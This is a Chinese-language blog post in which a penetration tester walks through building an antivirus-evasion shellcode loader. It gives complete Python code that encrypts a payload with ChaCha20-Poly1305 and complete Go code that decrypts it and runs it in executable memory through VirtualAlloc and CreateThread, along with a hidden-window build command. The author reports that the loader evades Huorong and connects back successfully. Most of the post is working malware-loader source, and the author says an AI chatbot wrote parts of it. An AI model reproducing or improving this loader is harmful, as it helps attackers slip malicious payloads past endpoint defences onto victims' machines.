一直想自己不借助网上博客内容,通过自己思路来做一个免杀的脚本,但是都因为某些原因搁置了。反正这些天每日每夜的渗透测试,说的好听,说的不好听就是功能点测试,搞得现在有点疲倦了,于是想着换个方向玩玩?点开博客发现有张目录“自己做的免杀脚本”,搞得我羞愧的红透了脸。如果说少女红透的脸代表它的心意,那少年的红脸蛋不得是尴尬死啊
对于免杀,我现在所掌握的也就载荷分离,加密混淆,加壳加花,特征码修改之类的,直接修改汇编代码什么的对我来说还是太有操作啦。言归正传,既然我能学会这些内容,说明脑子还是没问题的,还记得小时候不喜欢写作文,最喜欢抄网上的现成,加工一遍就变成我的了(确实还被老师表扬了,没毛病嗷)
那咱就从“模仿犯”入手!
于是我从github上下载了个免杀脚本(当然现在已经不是了)https://github.com/pureqh/bypassAV
它的利用过程
- 将shellcode填至go_shellcode_encode.py生成混淆后的base64 payload
- 然后将生成的payload填至main.go build("b64shellcode")
- 将main.go中的url替换为你vbs的某个网页或文本(局域网网页同样可以,但是需要程序可以正常使用时此网页需要可以访问)
- 编译:go build -trimpath -ldflags="-w -s -H=windowsgui"
差不多就是通过python的base64加密替换字符混淆输出加密字符,然后导入进go的代码中替换字符解码执行,刚刚好提到的知识的我都会,那就从你开刀
观察源码
#.py
import base64
import random
import numpy
buf1 = b"shell"
b64shellcode = base64.b64encode(buf1).decode()
print(b64shellcode)
b64shellcode = b64shellcode.replace("A","#").replace("H","!").replace("1","@").replace("T",")")
print(b64shellcode)
#.go
package main
import (
"encoding/base64"
"strings"
"syscall"
"unsafe"
"net/http"
"net/url"
"fmt"
)
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
VirtualAlloc = kernel32.NewProc("VirtualAlloc")
RtlMoveMemory = kernel32.NewProc("RtlMoveMemory")
)
func build(ddm string){
str1 :=strings.Replace(ddm, "#", "A", -1 )
str2 :=strings.Replace(str1, "!", "H", -1 )
str3 :=strings.Replace(str2, "@", "1", -1 )
str4 :=strings.Replace(str3, ")", "T", -1 )
sDec,_ := base64.StdEncoding.DecodeString(str4)
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sDec)), 0x1000|0x2000, 0x40)
_, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sDec[0])), uintptr(len(sDec)))
syscall.Syscall(addr, 0, 0, 0, 0)
}
func main() {
u, _ := url.Parse("https://yezifan.cn/")
q := u.Query()
u.RawQuery = q.Encode()
res, err := http.Get(u.String())
if err != nil {
return
}
resCode := res.StatusCode
res.Body.Close()
if err != nil {
return
}
var y int = 200
if resCode == y {
build("shell")
}
}
OK老弟,灵感来了,既然是go去加载python的混淆编码,可能生成的编码内容已经被当成特征码供杀毒软件区别对待了,那咱把python的编码方式替换掉,然后让go去加载编码还原,试试。于是我带着求知的精神去询问豆包:python库里面提供了哪些加密方式?能不能给我一 一展示?在我细节的精心的调教下,成了

此处省略试错过程直接上python代码结果
from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305
import os
import base64
key = ChaCha20Poly1305.generate_key()
cipher = ChaCha20Poly1305(key)
nonce = os.urandom(12)
message = b"shell"
encrypted_message = cipher.encrypt(nonce, message, None)
key_str = base64.b64encode(key).decode()
encrypted_str = base64.b64encode(nonce + encrypted_message).decode()
print("密钥长度:", len(key))
print("密钥内容:", key_str)
print("密文长度:", len(encrypted_str))
print("密文内容:", encrypted_str)
# 保存到文件
with open('key.txt', 'w') as f:
f.write(key_str)
with open('encrypted.txt', 'w') as f:
f.write(encrypted_str)

这段代码会在项目路径下产生一个加密文件和密钥,将他放到go的代码中加载即可被还原识别
接下来咱有了钥匙孔,就差一把钥匙了,于是我直接把这一坨py答辩丢给小豆子,让他给我go的解码并且整合到原项目中,就变成了这样子
package main
import (
"golang.org/x/crypto/chacha20poly1305"
"encoding/base64"
"fmt"
"io/ioutil"
"syscall"
"unsafe"
)
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
VirtualAlloc = kernel32.NewProc("VirtualAlloc")
RtlMoveMemory = kernel32.NewProc("RtlMoveMemory")
)
func decrypt(encrypted, keyStr string) ([]byte, error) {
key, err := base64.StdEncoding.DecodeString(keyStr)
if err != nil || len(key) != chacha20poly1305.KeySize {
return nil, fmt.Errorf("无效密钥")
}
//fmt.Println("解密时密钥长度:", len(key))
ciphertext, err := base64.StdEncoding.DecodeString(encrypted)
if err != nil || len(ciphertext) < chacha20poly1305.NonceSize {
return nil, fmt.Errorf("无效密文")
}
//fmt.Println("解密时密文长度:", len(ciphertext))
nonce := ciphertext[:chacha20poly1305.NonceSize]
ciphertext = ciphertext[chacha20poly1305.NonceSize:]
aead, err := chacha20poly1305.New(key)
if err != nil {
return nil, fmt.Errorf("创建 AEAD 失败")
}
plaintext, err := aead.Open(nil, nonce, ciphertext, nil)
if err != nil {
return nil, fmt.Errorf("解密失败: %v", err)
}
return plaintext, nil
}
func request(xiubao string){
decodedBytes,_ := base64.StdEncoding.DecodeString(xiubao)
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(decodedBytes)), 0x1000|0x2000, 0x40)
_, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&decodedBytes[0])), uintptr(len(decodedBytes)))
syscall.Syscall(addr, 0, 0, 0, 0)
}
func main() {
// 从文件读取密钥和密文
keyBytes, err := ioutil.ReadFile("key.txt")
if err != nil {
fmt.Println("读取密钥文件失败:", err)
return
}
keyStr := string(keyBytes)
encryptedBytes, err := ioutil.ReadFile("encrypted.txt")
if err != nil {
fmt.Println("读取密文文件失败:", err)
return
}
encrypted := string(encryptedBytes)
decrypted, err := decrypt(encrypted, keyStr)
if err != nil {
fmt.Println("解密错误:", err)
return
}
encodedStr := base64.StdEncoding.EncodeToString([]byte(decrypted))
request(encodedStr)
}
但是这样编译后产生的exe还是会被查杀

我继续观察了下,和原来项目大致没怎么变动的点就在这个函数里
func request(xiubao string){
decodedBytes,_ := base64.StdEncoding.DecodeString(xiubao)
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(decodedBytes)), 0x1000|0x2000, 0x40)
_, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&decodedBytes[0])), uintptr(len(decodedBytes)))
syscall.Syscall(addr, 0, 0, 0, 0)
}
那是不是咱换个加载方式就行了呢?
于是我打算随便找个加载器胡弄下,就把你杀软当日本人整,那咋了
//syscall调用winapi
// 1.加载kernel32.dll,MustLoadDLL
kernel32 := syscall.MustLoadDLL("kernel32.dll")
// 2.获取windows api,MustFindProc
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
RtlMoveMemory := kernel32.MustFindProc("RtlMoveMemory")
CreateThread := kernel32.MustFindProc("CreateThread")
WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
//shellcode_clac
sc := []byte{}
//申请地址
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sc)), 0x1000|0x2000, 0x40)
//复制sc地址到内存里面
// &sc[0],因为在go中指针不安全,所以要使用 unsafe.Pointer类型
//&sc-->指针 ,&sc[0] 因为sc是byte所有要取[0]个,unsafe.Pointer()指针都要用这个,(uintptr)转类型
RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
// 5.创建线程
thread, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0)
// 6.等待线程创建
WaitForSingleObject.Call(thread, 0xFFFFFFFF)
// 7.关闭 DLL
kernel32.Release()
一整合就变成了酱紫的内容
package main
import (
"golang.org/x/crypto/chacha20poly1305"
"encoding/base64"
"fmt"
"io/ioutil"
"syscall"
"unsafe"
)
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
VirtualAlloc = kernel32.NewProc("VirtualAlloc")
RtlMoveMemory = kernel32.NewProc("RtlMoveMemory")
)
func decrypt(encrypted, keyStr string) ([]byte, error) {
key, err := base64.StdEncoding.DecodeString(keyStr)
if err != nil || len(key) != chacha20poly1305.KeySize {
return nil, fmt.Errorf("无效密钥")
}
//fmt.Println("解密时密钥长度:", len(key))
ciphertext, err := base64.StdEncoding.DecodeString(encrypted)
if err != nil || len(ciphertext) < chacha20poly1305.NonceSize {
return nil, fmt.Errorf("无效密文")
}
//fmt.Println("解密时密文长度:", len(ciphertext))
nonce := ciphertext[:chacha20poly1305.NonceSize]
ciphertext = ciphertext[chacha20poly1305.NonceSize:]
aead, err := chacha20poly1305.New(key)
if err != nil {
return nil, fmt.Errorf("创建 AEAD 失败")
}
plaintext, err := aead.Open(nil, nonce, ciphertext, nil)
if err != nil {
return nil, fmt.Errorf("解密失败: %v", err)
}
return plaintext, nil
}
func request1(xiubao1 string){
//syscall调用winapi
// 1.加载kernel32.dll,MustLoadDLL
kernel32 := syscall.MustLoadDLL("kernel32.dll")
// 2.获取windows api,MustFindProc
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
RtlMoveMemory := kernel32.MustFindProc("RtlMoveMemory")
CreateThread := kernel32.MustFindProc("CreateThread")
WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
//shellcode_clac
decodedBytes,_ := base64.StdEncoding.DecodeString(xiubao1)
//申请地址
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(decodedBytes)), 0x1000|0x2000, 0x40)
//复制sc地址到内存里面
// &sc[0],因为在go中指针不安全,所以要使用 unsafe.Pointer类型
//&sc-->指针 ,&sc[0] 因为sc是byte所有要取[0]个,unsafe.Pointer()指针都要用这个,(uintptr)转类型
RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&decodedBytes[0])), uintptr(len(decodedBytes)))
// 5.创建线程
thread, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0)
// 6.等待线程创建
WaitForSingleObject.Call(thread, 0xFFFFFFFF)
// 7.关闭 DLL
kernel32.Release()
}
func main() {
// 从文件读取密钥和密文
keyBytes, err := ioutil.ReadFile("key.txt")
if err != nil {
fmt.Println("读取密钥文件失败:", err)
return
}
keyStr := string(keyBytes)
encryptedBytes, err := ioutil.ReadFile("encrypted.txt")
if err != nil {
fmt.Println("读取密文文件失败:", err)
return
}
encrypted := string(encryptedBytes)
decrypted, err := decrypt(encrypted, keyStr)
if err != nil {
fmt.Println("解密错误:", err)
return
}
encodedStr := base64.StdEncoding.EncodeToString([]byte(decrypted))
request1(encodedStr)
}
编译运行的1.exe成功绕过某绒而且能正常上线

交微步在线和360沙箱


暂时只有卡巴斯基查出来了
Comments NOTHING